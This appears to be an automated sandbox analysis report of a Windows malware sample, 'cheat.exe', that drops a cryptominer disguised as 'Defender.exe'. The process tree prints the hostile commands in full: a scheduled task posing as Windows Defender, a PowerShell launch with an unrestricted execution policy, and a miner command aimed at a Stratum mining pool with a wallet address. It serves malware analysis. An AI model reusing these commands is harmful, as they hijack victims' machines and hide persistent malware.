592ea2c548c74f9778a17ac78eba08eb7bfde214d690a7e593731fdbd604c877

Analysis

max time kernel
149s
max time network
118s
platform
windows10_x64
resource
win10v20210410
submitted
10-08-2021 11:13

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

cheat.exe
Size

12.2MB
MD5

69c885675b1b98e2fbb3f0196a1df2d1
SHA1

533fa79f3b20623ae1c6de3fded5fb54b145af6a
SHA256

73bcd67ddecc7bf320a19bd5dbefdb36c097c3047959d67e0e3cc5e22f8b510b
SHA512

8b89b0a456e9d423c7e0d053772716f2e0e7877bff250e08f788d20b20fcb00bb6da831f59a781964ede23f9de74b5afcda0183d104fca523b392a89d063e44c

Score

9^/10

miner vmprotect

Malware Config

Signatures

Detected Stratum cryptominer command
Looks to be attempting to contact Stratum mining pool.
miner

Executes dropped EXE 32 IoCs

pid	Process
3544	d.exe
3980	Start.exe
3496	Defender.exe
3648	Defender.exe
2288	Defender.exe
2196	Defender.exe
200	Defender.exe
3104	Defender.exe
4036	Defender.exe
2824	Defender.exe
816	Defender.exe
3968	Defender.exe
2320	Defender.exe
3052	Defender.exe
512	Defender.exe
3312	Defender.exe
1884	Defender.exe
584	Defender.exe
2240	Defender.exe
776	Defender.exe
1344	Defender.exe
1448	Defender.exe
3544	Defender.exe
1688	Defender.exe
2496	Defender.exe
1448	Defender.exe
492	Defender.exe
588	Defender.exe
3948	Defender.exe
2084	Defender.exe
2356	Defender.exe
2908	Defender.exe

VMProtect packed file 61 IoCs

Detects executables packed with VMProtect commercial packer.

vmprotect

resource	yara_rule
behavioral22/files/0x000100000001ab76-168.dat	vmprotect
behavioral22/files/0x000100000001ab76-170.dat	vmprotect
behavioral22/memory/3496-171-0x0000000140000000-0x0000000141B19000-memory.dmp	vmprotect
behavioral22/files/0x000100000001ab76-181.dat	vmprotect
behavioral22/memory/3648-182-0x0000000140000000-0x0000000141B19000-memory.dmp	vmprotect
behavioral22/files/0x000100000001ab76-191.dat	vmprotect
behavioral22/memory/2288-192-0x0000000140000000-0x0000000141B19000-memory.dmp	vmprotect
behavioral22/files/0x000100000001ab76-201.dat	vmprotect
behavioral22/memory/2196-202-0x0000000140000000-0x0000000141B19000-memory.dmp	vmprotect
behavioral22/files/0x000100000001ab76-211.dat	vmprotect
behavioral22/memory/200-212-0x0000000140000000-0x0000000141B19000-memory.dmp	vmprotect
behavioral22/files/0x000100000001ab76-221.dat	vmprotect
behavioral22/memory/3104-222-0x0000000140000000-0x0000000141B19000-memory.dmp	vmprotect
behavioral22/files/0x000100000001ab76-231.dat	vmprotect
behavioral22/memory/4036-232-0x0000000140000000-0x0000000141B19000-memory.dmp	vmprotect
behavioral22/files/0x000100000001ab76-241.dat	vmprotect
behavioral22/memory/2824-242-0x0000000140000000-0x0000000141B19000-memory.dmp	vmprotect
behavioral22/files/0x000100000001ab76-251.dat	vmprotect
behavioral22/memory/816-252-0x0000000140000000-0x0000000141B19000-memory.dmp	vmprotect
behavioral22/files/0x000100000001ab76-261.dat	vmprotect
behavioral22/memory/3968-262-0x0000000140000000-0x0000000141B19000-memory.dmp	vmprotect
behavioral22/files/0x000100000001ab76-271.dat	vmprotect
behavioral22/memory/2320-272-0x0000000140000000-0x0000000141B19000-memory.dmp	vmprotect
behavioral22/files/0x000100000001ab76-281.dat	vmprotect
behavioral22/memory/3052-282-0x0000000140000000-0x0000000141B19000-memory.dmp	vmprotect
behavioral22/files/0x000100000001ab76-291.dat	vmprotect
behavioral22/memory/512-292-0x0000000140000000-0x0000000141B19000-memory.dmp	vmprotect
behavioral22/files/0x000100000001ab76-301.dat	vmprotect
behavioral22/memory/3312-302-0x0000000140000000-0x0000000141B19000-memory.dmp	vmprotect
behavioral22/files/0x000100000001ab76-311.dat	vmprotect
behavioral22/memory/1884-312-0x0000000140000000-0x0000000141B19000-memory.dmp	vmprotect
behavioral22/files/0x000100000001ab76-321.dat	vmprotect
behavioral22/memory/584-322-0x0000000140000000-0x0000000141B19000-memory.dmp	vmprotect
behavioral22/files/0x000100000001ab76-331.dat	vmprotect
behavioral22/memory/2240-332-0x0000000140000000-0x0000000141B19000-memory.dmp	vmprotect
behavioral22/files/0x000100000001ab76-341.dat	vmprotect
behavioral22/memory/776-342-0x0000000140000000-0x0000000141B19000-memory.dmp	vmprotect
behavioral22/files/0x000100000001ab76-351.dat	vmprotect
behavioral22/memory/1344-352-0x0000000140000000-0x0000000141B19000-memory.dmp	vmprotect
behavioral22/files/0x000100000001ab76-361.dat	vmprotect
behavioral22/memory/1448-362-0x0000000140000000-0x0000000141B19000-memory.dmp	vmprotect
behavioral22/files/0x000100000001ab76-371.dat	vmprotect
behavioral22/memory/3544-372-0x0000000140000000-0x0000000141B19000-memory.dmp	vmprotect
behavioral22/files/0x000100000001ab76-381.dat	vmprotect
behavioral22/memory/1688-382-0x0000000140000000-0x0000000141B19000-memory.dmp	vmprotect
behavioral22/files/0x000100000001ab76-391.dat	vmprotect
behavioral22/memory/2496-392-0x0000000140000000-0x0000000141B19000-memory.dmp	vmprotect
behavioral22/files/0x000100000001ab76-401.dat	vmprotect
behavioral22/memory/1448-402-0x0000000140000000-0x0000000141B19000-memory.dmp	vmprotect
behavioral22/files/0x000100000001ab76-411.dat	vmprotect
behavioral22/memory/492-412-0x0000000140000000-0x0000000141B19000-memory.dmp	vmprotect
behavioral22/files/0x000100000001ab76-421.dat	vmprotect
behavioral22/memory/588-422-0x0000000140000000-0x0000000141B19000-memory.dmp	vmprotect
behavioral22/files/0x000100000001ab76-431.dat	vmprotect
behavioral22/memory/3948-432-0x0000000140000000-0x0000000141B19000-memory.dmp	vmprotect
behavioral22/files/0x000100000001ab76-439.dat	vmprotect
behavioral22/memory/2084-440-0x0000000140000000-0x0000000141B19000-memory.dmp	vmprotect
behavioral22/files/0x000100000001ab76-447.dat	vmprotect
behavioral22/memory/2356-448-0x0000000140000000-0x0000000141B19000-memory.dmp	vmprotect
behavioral22/files/0x000100000001ab76-455.dat	vmprotect
behavioral22/memory/2908-456-0x0000000140000000-0x0000000141B19000-memory.dmp	vmprotect

Suspicious use of NtSetInformationThreadHideFromDebugger 30 IoCs

pid	Process
3496	Defender.exe
3648	Defender.exe
2288	Defender.exe
2196	Defender.exe
200	Defender.exe
3104	Defender.exe
4036	Defender.exe
2824	Defender.exe
816	Defender.exe
3968	Defender.exe
2320	Defender.exe
3052	Defender.exe
512	Defender.exe
3312	Defender.exe
1884	Defender.exe
584	Defender.exe
2240	Defender.exe
776	Defender.exe
1344	Defender.exe
1448	Defender.exe
3544	Defender.exe
1688	Defender.exe
2496	Defender.exe
1448	Defender.exe
492	Defender.exe
588	Defender.exe
3948	Defender.exe
2084	Defender.exe
2356	Defender.exe
2908	Defender.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
200	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
1696	timeout.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings	cheat.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2916	powershell.exe
2916	powershell.exe
2916	powershell.exe
2916	powershell.exe
2916	powershell.exe
3496	Defender.exe
3496	Defender.exe
2916	powershell.exe
2916	powershell.exe
2916	powershell.exe
3648	Defender.exe
3648	Defender.exe
2916	powershell.exe
2916	powershell.exe
2288	Defender.exe
2288	Defender.exe
2916	powershell.exe
2916	powershell.exe
2196	Defender.exe
2196	Defender.exe
2916	powershell.exe
2916	powershell.exe
200	Defender.exe
200	Defender.exe
2916	powershell.exe
2916	powershell.exe
3104	Defender.exe
3104	Defender.exe
2916	powershell.exe
2916	powershell.exe
2916	powershell.exe
4036	Defender.exe
4036	Defender.exe
2916	powershell.exe
2916	powershell.exe
2824	Defender.exe
2824	Defender.exe
2916	powershell.exe
2916	powershell.exe
2916	powershell.exe
816	Defender.exe
816	Defender.exe
2916	powershell.exe
2916	powershell.exe
3968	Defender.exe
3968	Defender.exe
2916	powershell.exe
2916	powershell.exe
2320	Defender.exe
2320	Defender.exe
2916	powershell.exe
2916	powershell.exe
3052	Defender.exe
3052	Defender.exe
2916	powershell.exe
2916	powershell.exe
512	Defender.exe
512	Defender.exe
2916	powershell.exe
2916	powershell.exe
3312	Defender.exe
3312	Defender.exe
2916	powershell.exe
2916	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2916	powershell.exe

Suspicious use of SetWindowsHookEx 64 IoCs

pid	Process
3496	Defender.exe
3496	Defender.exe
3496	Defender.exe
3496	Defender.exe
3496	Defender.exe
3648	Defender.exe
3648	Defender.exe
3648	Defender.exe
3648	Defender.exe
3648	Defender.exe
2288	Defender.exe
2288	Defender.exe
2288	Defender.exe
2288	Defender.exe
2288	Defender.exe
2196	Defender.exe
2196	Defender.exe
2196	Defender.exe
2196	Defender.exe
2196	Defender.exe
200	Defender.exe
200	Defender.exe
200	Defender.exe
200	Defender.exe
200	Defender.exe
3104	Defender.exe
3104	Defender.exe
3104	Defender.exe
3104	Defender.exe
3104	Defender.exe
4036	Defender.exe
4036	Defender.exe
4036	Defender.exe
4036	Defender.exe
4036	Defender.exe
2824	Defender.exe
2824	Defender.exe
2824	Defender.exe
2824	Defender.exe
2824	Defender.exe
816	Defender.exe
816	Defender.exe
816	Defender.exe
816	Defender.exe
816	Defender.exe
3968	Defender.exe
3968	Defender.exe
3968	Defender.exe
3968	Defender.exe
3968	Defender.exe
2320	Defender.exe
2320	Defender.exe
2320	Defender.exe
2320	Defender.exe
2320	Defender.exe
3052	Defender.exe
3052	Defender.exe
3052	Defender.exe
3052	Defender.exe
3052	Defender.exe
512	Defender.exe
512	Defender.exe
512	Defender.exe
512	Defender.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3256 wrote to memory of 2384	3256	cheat.exe	75
PID 3256 wrote to memory of 2384	3256	cheat.exe	75
PID 2384 wrote to memory of 3544	2384	WScript.exe	77
PID 2384 wrote to memory of 3544	2384	WScript.exe	77
PID 2384 wrote to memory of 3948	2384	WScript.exe	78
PID 2384 wrote to memory of 3948	2384	WScript.exe	78
PID 3948 wrote to memory of 200	3948	cmd.exe	80
PID 3948 wrote to memory of 200	3948	cmd.exe	80
PID 3256 wrote to memory of 3980	3256	cheat.exe	83
PID 3256 wrote to memory of 3980	3256	cheat.exe	83
PID 3980 wrote to memory of 2360	3980	Start.exe	84
PID 3980 wrote to memory of 2360	3980	Start.exe	84
PID 2360 wrote to memory of 1696	2360	cmd.exe	86
PID 2360 wrote to memory of 1696	2360	cmd.exe	86
PID 2360 wrote to memory of 2916	2360	cmd.exe	88
PID 2360 wrote to memory of 2916	2360	cmd.exe	88
PID 2916 wrote to memory of 1308	2916	powershell.exe	89
PID 2916 wrote to memory of 1308	2916	powershell.exe	89
PID 1308 wrote to memory of 2676	1308	csc.exe	90
PID 1308 wrote to memory of 2676	1308	csc.exe	90
PID 2916 wrote to memory of 3876	2916	powershell.exe	91
PID 2916 wrote to memory of 3876	2916	powershell.exe	91
PID 3876 wrote to memory of 3496	3876	WScript.exe	92
PID 3876 wrote to memory of 3496	3876	WScript.exe	92
PID 2916 wrote to memory of 3920	2916	powershell.exe	94
PID 2916 wrote to memory of 3920	2916	powershell.exe	94
PID 3920 wrote to memory of 3648	3920	WScript.exe	95
PID 3920 wrote to memory of 3648	3920	WScript.exe	95
PID 2916 wrote to memory of 2104	2916	powershell.exe	97
PID 2916 wrote to memory of 2104	2916	powershell.exe	97
PID 2104 wrote to memory of 2288	2104	WScript.exe	98
PID 2104 wrote to memory of 2288	2104	WScript.exe	98
PID 2916 wrote to memory of 2560	2916	powershell.exe	100
PID 2916 wrote to memory of 2560	2916	powershell.exe	100
PID 2560 wrote to memory of 2196	2560	WScript.exe	101
PID 2560 wrote to memory of 2196	2560	WScript.exe	101
PID 2916 wrote to memory of 1540	2916	powershell.exe	103
PID 2916 wrote to memory of 1540	2916	powershell.exe	103
PID 1540 wrote to memory of 200	1540	WScript.exe	104
PID 1540 wrote to memory of 200	1540	WScript.exe	104
PID 2916 wrote to memory of 3356	2916	powershell.exe	106
PID 2916 wrote to memory of 3356	2916	powershell.exe	106
PID 3356 wrote to memory of 3104	3356	WScript.exe	107
PID 3356 wrote to memory of 3104	3356	WScript.exe	107
PID 2916 wrote to memory of 680	2916	powershell.exe	109
PID 2916 wrote to memory of 680	2916	powershell.exe	109
PID 680 wrote to memory of 4036	680	WScript.exe	110
PID 680 wrote to memory of 4036	680	WScript.exe	110
PID 2916 wrote to memory of 776	2916	powershell.exe	112
PID 2916 wrote to memory of 776	2916	powershell.exe	112
PID 776 wrote to memory of 2824	776	WScript.exe	113
PID 776 wrote to memory of 2824	776	WScript.exe	113
PID 2916 wrote to memory of 780	2916	powershell.exe	115
PID 2916 wrote to memory of 780	2916	powershell.exe	115
PID 780 wrote to memory of 816	780	WScript.exe	116
PID 780 wrote to memory of 816	780	WScript.exe	116
PID 2916 wrote to memory of 588	2916	powershell.exe	118
PID 2916 wrote to memory of 588	2916	powershell.exe	118
PID 588 wrote to memory of 3968	588	WScript.exe	119
PID 588 wrote to memory of 3968	588	WScript.exe	119
PID 2916 wrote to memory of 1588	2916	powershell.exe	121
PID 2916 wrote to memory of 1588	2916	powershell.exe	121
PID 1588 wrote to memory of 2320	1588	WScript.exe	122
PID 1588 wrote to memory of 2320	1588	WScript.exe	122

C:\Users\Admin\AppData\Local\Temp\cheat.exe
"C:\Users\Admin\AppData\Local\Temp\cheat.exe"
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3256
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\ProgramData\Windows\d.vbs"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2384
- - C:\ProgramData\Windows\d.exe
    "C:\ProgramData\Windows\d.exe" 61 C:\ProgramData\Windows\d.bat
    3⤵
    - Executes dropped EXE
    PID:3544
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\ProgramData\Windows\t.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3948
  - - C:\Windows\system32\schtasks.exe
      SCHTASKS /CREATE /SC ONLOGON /TN "Windows Defender" /TR "C:\ProgramData\Windows\Start.exe" /f
      4⤵
      Creates scheduled task(s)
      PID:200
- C:\ProgramData\Windows\Start.exe
  C:\ProgramData\Windows\Start.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3980
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\403B.tmp\403C.tmp\403D.bat C:\ProgramData\Windows\Start.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2360
  - - C:\Windows\system32\timeout.exe
      timeout /t 10
      4⤵
      Delays execution with timeout.exe
      PID:1696
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -executionpolicy Unrestricted C:\ProgramData\Windows\timeout.ps1
      4⤵
      Modifies registry class
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2916
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\flvr0mm4\flvr0mm4.cmdline"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1308
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES69AC.tmp" "c:\Users\Admin\AppData\Local\Temp\flvr0mm4\CSCD2641E6A6F784744954294132A72BA2B.TMP"
        6⤵
        
        PID:2676
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\ProgramData\Windows\p.vbs"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3876
      - C:\ProgramData\Windows\Defender.exe
        
        "C:\ProgramData\Windows\Defender.exe" --no-watchdog -a kawpow -o stratum+tcp://stratum.ravenminer.com:3800 -i 60 -u RNqes7FtprvyQNaFamUfShw19BdFUjbJAt
        6⤵
        Executes dropped EXE
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        
        PID:3496
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\ProgramData\Windows\p.vbs"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3920
      - C:\ProgramData\Windows\Defender.exe
        
        "C:\ProgramData\Windows\Defender.exe" --no-watchdog -a kawpow -o stratum+tcp://stratum.ravenminer.com:3800 -i 60 -u RNqes7FtprvyQNaFamUfShw19BdFUjbJAt
        6⤵
        Executes dropped EXE
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        
        PID:3648
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\ProgramData\Windows\p.vbs"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2104
      - C:\ProgramData\Windows\Defender.exe
        
        "C:\ProgramData\Windows\Defender.exe" --no-watchdog -a kawpow -o stratum+tcp://stratum.ravenminer.com:3800 -i 60 -u RNqes7FtprvyQNaFamUfShw19BdFUjbJAt
        6⤵
        Executes dropped EXE
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        
        PID:2288
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\ProgramData\Windows\p.vbs"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2560
      - C:\ProgramData\Windows\Defender.exe
        
        "C:\ProgramData\Windows\Defender.exe" --no-watchdog -a kawpow -o stratum+tcp://stratum.ravenminer.com:3800 -i 60 -u RNqes7FtprvyQNaFamUfShw19BdFUjbJAt
        6⤵
        Executes dropped EXE
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        
        PID:2196
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\ProgramData\Windows\p.vbs"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1540
      - C:\ProgramData\Windows\Defender.exe
        
        "C:\ProgramData\Windows\Defender.exe" --no-watchdog -a kawpow -o stratum+tcp://stratum.ravenminer.com:3800 -i 60 -u RNqes7FtprvyQNaFamUfShw19BdFUjbJAt
        6⤵
        Executes dropped EXE
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        
        PID:200
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\ProgramData\Windows\p.vbs"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3356
      - C:\ProgramData\Windows\Defender.exe
        
        "C:\ProgramData\Windows\Defender.exe" --no-watchdog -a kawpow -o stratum+tcp://stratum.ravenminer.com:3800 -i 60 -u RNqes7FtprvyQNaFamUfShw19BdFUjbJAt
        6⤵
        Executes dropped EXE
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        
        PID:3104
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\ProgramData\Windows\p.vbs"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:680
      - C:\ProgramData\Windows\Defender.exe
        
        "C:\ProgramData\Windows\Defender.exe" --no-watchdog -a kawpow -o stratum+tcp://stratum.ravenminer.com:3800 -i 60 -u RNqes7FtprvyQNaFamUfShw19BdFUjbJAt
        6⤵
        Executes dropped EXE
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        
        PID:4036
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\ProgramData\Windows\p.vbs"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:776
      - C:\ProgramData\Windows\Defender.exe
        
        "C:\ProgramData\Windows\Defender.exe" --no-watchdog -a kawpow -o stratum+tcp://stratum.ravenminer.com:3800 -i 60 -u RNqes7FtprvyQNaFamUfShw19BdFUjbJAt
        6⤵
        Executes dropped EXE
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        
        PID:2824
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\ProgramData\Windows\p.vbs"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:780
      - C:\ProgramData\Windows\Defender.exe
        
        "C:\ProgramData\Windows\Defender.exe" --no-watchdog -a kawpow -o stratum+tcp://stratum.ravenminer.com:3800 -i 60 -u RNqes7FtprvyQNaFamUfShw19BdFUjbJAt
        6⤵
        Executes dropped EXE
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        
        PID:816
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\ProgramData\Windows\p.vbs"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:588
      - C:\ProgramData\Windows\Defender.exe
        
        "C:\ProgramData\Windows\Defender.exe" --no-watchdog -a kawpow -o stratum+tcp://stratum.ravenminer.com:3800 -i 60 -u RNqes7FtprvyQNaFamUfShw19BdFUjbJAt
        6⤵
        Executes dropped EXE
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        
        PID:3968
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\ProgramData\Windows\p.vbs"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1588
      - C:\ProgramData\Windows\Defender.exe
        
        "C:\ProgramData\Windows\Defender.exe" --no-watchdog -a kawpow -o stratum+tcp://stratum.ravenminer.com:3800 -i 60 -u RNqes7FtprvyQNaFamUfShw19BdFUjbJAt
        6⤵
        Executes dropped EXE
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        
        PID:2320
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\ProgramData\Windows\p.vbs"
        5⤵
        
        PID:1168
      - C:\ProgramData\Windows\Defender.exe
        
        "C:\ProgramData\Windows\Defender.exe" --no-watchdog -a kawpow -o stratum+tcp://stratum.ravenminer.com:3800 -i 60 -u RNqes7FtprvyQNaFamUfShw19BdFUjbJAt
        6⤵
        Executes dropped EXE
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        
        PID:3052
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\ProgramData\Windows\p.vbs"
        5⤵
        
        PID:3288
      - C:\ProgramData\Windows\Defender.exe
        
        "C:\ProgramData\Windows\Defender.exe" --no-watchdog -a kawpow -o stratum+tcp://stratum.ravenminer.com:3800 -i 60 -u RNqes7FtprvyQNaFamUfShw19BdFUjbJAt
        6⤵
        Executes dropped EXE
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        
        PID:512
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\ProgramData\Windows\p.vbs"
        5⤵
        
        PID:3764
      - C:\ProgramData\Windows\Defender.exe
        
        "C:\ProgramData\Windows\Defender.exe" --no-watchdog -a kawpow -o stratum+tcp://stratum.ravenminer.com:3800 -i 60 -u RNqes7FtprvyQNaFamUfShw19BdFUjbJAt
        6⤵
        Executes dropped EXE
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious behavior: EnumeratesProcesses
        
        PID:3312
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\ProgramData\Windows\p.vbs"
        5⤵
        
        PID:3736
      - C:\ProgramData\Windows\Defender.exe
        
        "C:\ProgramData\Windows\Defender.exe" --no-watchdog -a kawpow -o stratum+tcp://stratum.ravenminer.com:3800 -i 60 -u RNqes7FtprvyQNaFamUfShw19BdFUjbJAt
        6⤵
        Executes dropped EXE
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:1884
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\ProgramData\Windows\p.vbs"
        5⤵
        
        PID:4068
      - C:\ProgramData\Windows\Defender.exe
        
        "C:\ProgramData\Windows\Defender.exe" --no-watchdog -a kawpow -o stratum+tcp://stratum.ravenminer.com:3800 -i 60 -u RNqes7FtprvyQNaFamUfShw19BdFUjbJAt
        6⤵
        Executes dropped EXE
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:584
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\ProgramData\Windows\p.vbs"
        5⤵
        
        PID:2564
      - C:\ProgramData\Windows\Defender.exe
        
        "C:\ProgramData\Windows\Defender.exe" --no-watchdog -a kawpow -o stratum+tcp://stratum.ravenminer.com:3800 -i 60 -u RNqes7FtprvyQNaFamUfShw19BdFUjbJAt
        6⤵
        Executes dropped EXE
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:2240
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\ProgramData\Windows\p.vbs"
        5⤵
        
        PID:4004
      - C:\ProgramData\Windows\Defender.exe
        
        "C:\ProgramData\Windows\Defender.exe" --no-watchdog -a kawpow -o stratum+tcp://stratum.ravenminer.com:3800 -i 60 -u RNqes7FtprvyQNaFamUfShw19BdFUjbJAt
        6⤵
        Executes dropped EXE
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:776
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\ProgramData\Windows\p.vbs"
        5⤵
        
        PID:2320
      - C:\ProgramData\Windows\Defender.exe
        
        "C:\ProgramData\Windows\Defender.exe" --no-watchdog -a kawpow -o stratum+tcp://stratum.ravenminer.com:3800 -i 60 -u RNqes7FtprvyQNaFamUfShw19BdFUjbJAt
        6⤵
        Executes dropped EXE
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:1344
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\ProgramData\Windows\p.vbs"
        5⤵
        
        PID:3220
      - C:\ProgramData\Windows\Defender.exe
        
        "C:\ProgramData\Windows\Defender.exe" --no-watchdog -a kawpow -o stratum+tcp://stratum.ravenminer.com:3800 -i 60 -u RNqes7FtprvyQNaFamUfShw19BdFUjbJAt
        6⤵
        Executes dropped EXE
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:1448
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\ProgramData\Windows\p.vbs"
        5⤵
        
        PID:512
      - C:\ProgramData\Windows\Defender.exe
        
        "C:\ProgramData\Windows\Defender.exe" --no-watchdog -a kawpow -o stratum+tcp://stratum.ravenminer.com:3800 -i 60 -u RNqes7FtprvyQNaFamUfShw19BdFUjbJAt
        6⤵
        Executes dropped EXE
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:3544
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\ProgramData\Windows\p.vbs"
        5⤵
        
        PID:2512
      - C:\ProgramData\Windows\Defender.exe
        
        "C:\ProgramData\Windows\Defender.exe" --no-watchdog -a kawpow -o stratum+tcp://stratum.ravenminer.com:3800 -i 60 -u RNqes7FtprvyQNaFamUfShw19BdFUjbJAt
        6⤵
        Executes dropped EXE
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:1688
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\ProgramData\Windows\p.vbs"
        5⤵
        
        PID:3548
      - C:\ProgramData\Windows\Defender.exe
        
        "C:\ProgramData\Windows\Defender.exe" --no-watchdog -a kawpow -o stratum+tcp://stratum.ravenminer.com:3800 -i 60 -u RNqes7FtprvyQNaFamUfShw19BdFUjbJAt
        6⤵
        Executes dropped EXE
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:2496
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\ProgramData\Windows\p.vbs"
        5⤵
        
        PID:3800
      - C:\ProgramData\Windows\Defender.exe
        
        "C:\ProgramData\Windows\Defender.exe" --no-watchdog -a kawpow -o stratum+tcp://stratum.ravenminer.com:3800 -i 60 -u RNqes7FtprvyQNaFamUfShw19BdFUjbJAt
        6⤵
        Executes dropped EXE
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:1448
